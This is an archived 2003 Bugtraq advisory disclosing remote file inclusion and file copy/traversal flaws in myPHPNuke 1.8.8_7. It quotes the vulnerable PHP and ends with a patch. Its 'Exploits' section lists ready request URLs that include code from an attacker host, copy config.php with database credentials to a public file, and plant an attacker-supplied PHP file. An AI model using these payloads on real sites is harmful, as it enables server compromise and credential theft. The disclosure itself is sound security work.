bugtraq - myPHPNuke : Copy/Upload/Include Files

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Thu, 11 Sep 2003 12:14:09 +0200
From: "Frog Man" <leseulfrog@...mail.com>
To: bugtraq@...urityfocus.com, vulnwatch@...nwatch.org
Subject: myPHPNuke : Copy/Upload/Include Files


Informations :
°°°°°°°°°°°°°
Language : PHP
Version : 1.8.8_7
Website : http://www.myphpnuke.com
Problems : - Upload/Copy/Include Files


PHP Code/Location :
°°°°°°°°°°°°°°°°°°°

gallery/displayCategory.php :

------------------------------------------
[...]
<?php

include ("$basepath/imageFunctions.php");
include ("$adminpath/fileFunctions.php");
------------------------------------------


mailattach.php :

-----------------------------------------------------
[...]
<?
OpenTable();
  global $attachmentdir;

  $attchfile = $attachmentdir.$attach1_name;

   if(isset($submit) ) {
       if ($attach1_name != "") {
           copy("$attach1", $attchfile)
            or die("Couldn't copy the file!");
            echo "<script> attach();</script>";
       } else {
           die("No input file specified");
       }
       echo "<script> attach(); </script>";
   } else {

?>
[...]
-----------------------------------------------------


Exploits :
°°°°°°°°
- http://[target]/gallery/displayCategory.php?basepath=http://[attacker] 
will include the file :
http://[attacker]/imageFunctions.php

- http://[target]/gallery/displayCategory.php?adminpath=http://[attacker] 
will include the file :
http://[attacker]/fileFunctions.php

- 
http://[target]/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=../DBInfos.txt 
will copy the file admin/original/config.php (with DB Informations) into 
http://[target]/DBInfos.txt .

- 
http://[target]/mailattach.php?submit=1&attach1=http://[attacker]/bad.txt&attach1_name=../bad.php 
will copy the file bad.txt into http://[target]/bad.php

- etc...


Solution :
°°°°°°°°°
A patch can be found on http://www.phpsecure.info.
In gallery/displayCategory.php, add before all lines the lines :
-------------------------------------------------------------------
if (isset($_REQUEST["basepath"]) OR isset($_REQUEST["adminpath"])){
die("Patched.");
}
-------------------------------------------------------------------

And in mailattach.php, add just after the lines :
-------------------------
[...]
<?
OpenTable();
   global $attachmentdir;
[...]
-------------------------

the lines :

-----------------------------------------------------------------------------------------------------------------------------------------------------------
   if (isset($_REQUEST["attach1_type"]) OR isset($_REQUEST["attach1_name"]) 
OR ereg("/",$attach1) OR ereg("\.\.",$attach1) OR ereg(".php",$attach1_name) 
){
   die("Patched.");
   }
-----------------------------------------------------------------------------------------------------------------------------------------------------------


More Details :
°°°°°°°°°°°°
In french :
http://www.phpsecure.info/v2/tutos/myPHPNuke.txt




frog-m@n (http://www.phpsecure.info)

_________________________________________________________________